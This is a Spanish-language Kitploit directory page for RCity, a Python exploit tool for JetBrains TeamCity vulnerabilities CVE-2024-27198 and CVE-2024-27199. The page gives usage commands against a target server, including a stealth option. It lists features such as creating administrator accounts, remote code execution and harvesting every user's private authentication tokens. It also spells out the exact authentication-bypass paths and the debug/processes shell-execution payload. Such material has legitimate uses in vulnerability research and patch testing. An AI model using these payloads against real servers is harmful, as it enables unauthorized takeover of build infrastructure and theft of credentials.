Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
RCity-CVE-2024-27198 — CVE-2024-27198 y CVE-2024-27199 PoC - RCE, Creación de cuentas de administrador, Enumeración de usuarios, Información del servidor | Kitploit
Herramientas/GitHubGitHub/stuub/rcity-cve-2024-27198
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubstuub/rcity-cve-2024-27198

RCity-CVE-2024-27198

CVE-2024-27198 y CVE-2024-27199 PoC - RCE, Creación de cuentas de administrador, Enumeración de usuarios, Información del servidor

Ver Repositorio
3635hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

RCity - CVE-2024-27198 (RCE y Creación de Cuenta de Administrador) y CVE-2024-27199 (Omisión de Autenticación)

Explotando CVE-2024-27198 y CVE-2024-27199

RCity es un script de Python que interactúa con un servidor TeamCity vulnerable. El CVE facilita la creación de cuentas de administrador no autorizadas, omitiendo los 403 en el dominio. Además, logra RCE a través de la ruta Debug/Processes.

Uso

Para usar el script, debes proporcionar la URL del servidor TeamCity objetivo como argumento de línea de comandos con el argumento -t o --target:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111

Puedes aumentar la verbosidad de la salida con la opción -v o --verbose:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --verbose

Puedes enviar comandos únicos directamente a través de la opción -c o --command, si deseas un shell interactivo NO uses esta opción. No es amigable con reverse shells, ya que la conexión se cierra después de enviar el comando:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -c id

Puedes asegurarte de que no se envíen solicitudes POST al servidor TeamCity usando la opción -s o --stealth.

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -s

Desactiva la función RCE - Todo lo demás permanece igual

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-rce

Evita que se recopile la lista de usuarios, puede llevar tiempo en listas de usuarios grandes. ¡Salta directamente a RCE con esto!

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-enum

Características

  • Creación de Cuenta de Administrador

  • Ejecución Remota de Código

  • Generación de Tokens de Autorización

  • Enumeración de Usuarios

  • Recopilación de todos los Tokens de Autenticación Privados de los Usuarios

  • Obtención de Detalles del Servidor

Ejemplo

imagen

RCE

imagen

Generación de Tokens

imagen

Documentación

Aquí repasaré las funciones utilizadas en este proyecto, para brindarte una mejor comprensión detrás de este exploit y las vulnerabilidades asociadas.

Antecedentes

La naturaleza de la vulnerabilidad se correlaciona entre CVE-2024-27198 y 99 debido a que el problema se origina del mismo bypass de autenticación para rutas de API REST en servidores TeamCity de JetBrains. Sin embargo, el impacto de dicha vulnerabilidad es donde se intercambia y se vuelve interesante... CVE-2024-27198 es el más fuerte en teoría, debido a su impacto de RCE revelado, aprovecha el endpoint /app/rest/debug/processes, SOLO con los permisos para realizar las solicitudes necesarias a este endpoint, mediante un Token de Autenticación. Esta llamada a este endpoint difiere entre hosts Unix y Windows, sin embargo se manipula de manera similar, la única diferencia es el shell nativo que se invoca para una solicitud.

Linux - processes?exePath=/bin/sh&params=-c&params={yourRCE_HTMLEncoded}

Windows - processes?exePath=cmd.exe&params=/c&params={yourRCE_HTMLEncoded}

Omisión de Autenticación

Ahora, como se mencionó antes, esto no es posible sin autenticación, ¿debería ser seguro... verdad? Ahí es donde entra la Omisión de Autenticación.

Bypassear la política de la compilación de TeamCity abre la oportunidad de realizar solicitudes contra el servidor y colocar nuestro Token de Autenticación allí, sin siquiera necesitar técnicamente nuestra propia cuenta.

El bypass en sí consiste en crear una ruta alternativa a las rutas REST, que sin entrar en demasiados detalles, requiere el control de los contenidos en una clase cuya función es manejar solicitudes, específicamente aquellas que no son 302 (redirecciones), lo que luego nos permite controlarlo agregando 3 partes necesarias a nuestra URL.

  1. Un endpoint no autenticado que no active un 302, en nuestro caso /hax

  2. Un parámetro de consulta de URL llamado jsp para consultar las rutas de la API, por ejemplo, la ruta users ?jsp=/app/rest/users

  3. Una ruta URI arbitraria que termina con .jsp. Esto se puede lograr agregando un segmento de parámetro de ruta HTTP ;.jsp

Lo que significa que el payload final para realizar solicitudes no autorizadas al endpoint de usuarios es: /hax?jsp=/app/rest/users;.jsp

Ahora podemos hacer solicitudes contra el endpoint de usuarios y agregar nuestros propios usuarios, ¡incluso Administradores!

Sin embargo, antes de poder llegar a RCE, necesitamos un Token de Autenticación, como portador para nuestras solicitudes RCE contra su API REST. No hay problema, ahora que tenemos nuestro bypass, ¡vamos a crear uno!

Generación de Token de API REST --> RCE

El endpoint de token seguía el mismo árbol de rutas que el ejemplo anterior, se puede encontrar en /app/rest/users/id:{user_id}/tokens/{token_name}. ¡Así que construyamos otro payload para omitir la autenticación y crear un token!

(Nosotros proporcionamos nuestro propio nombre de token para esto, en este script es una generación aleatoria de caracteres alfanuméricos ASCII).

/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp

Después de hacer nuestra solicitud POST para agregar nuestro token a nuestro usuario recién creado, ¡ahora podemos comenzar a hacer solicitudes contra la ruta /app/rest/debug/processes!

No hay nada especial en la elaboración de nuestros payloads RCE, ¡solo codifica en HTML tus payloads en el argumento params!

¡Feliz hacking!

Referencias

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://nvd.nist.gov/vuln/detail/CVE-2024-27198

https://github.com/W01fh4cker/CVE-2024-27198-RCE

Descargo de responsabilidad

Este script es solo para fines educativos. Úsalo de manera responsable y solo en sistemas para los que tengas permiso de acceso.

Descargar herramienta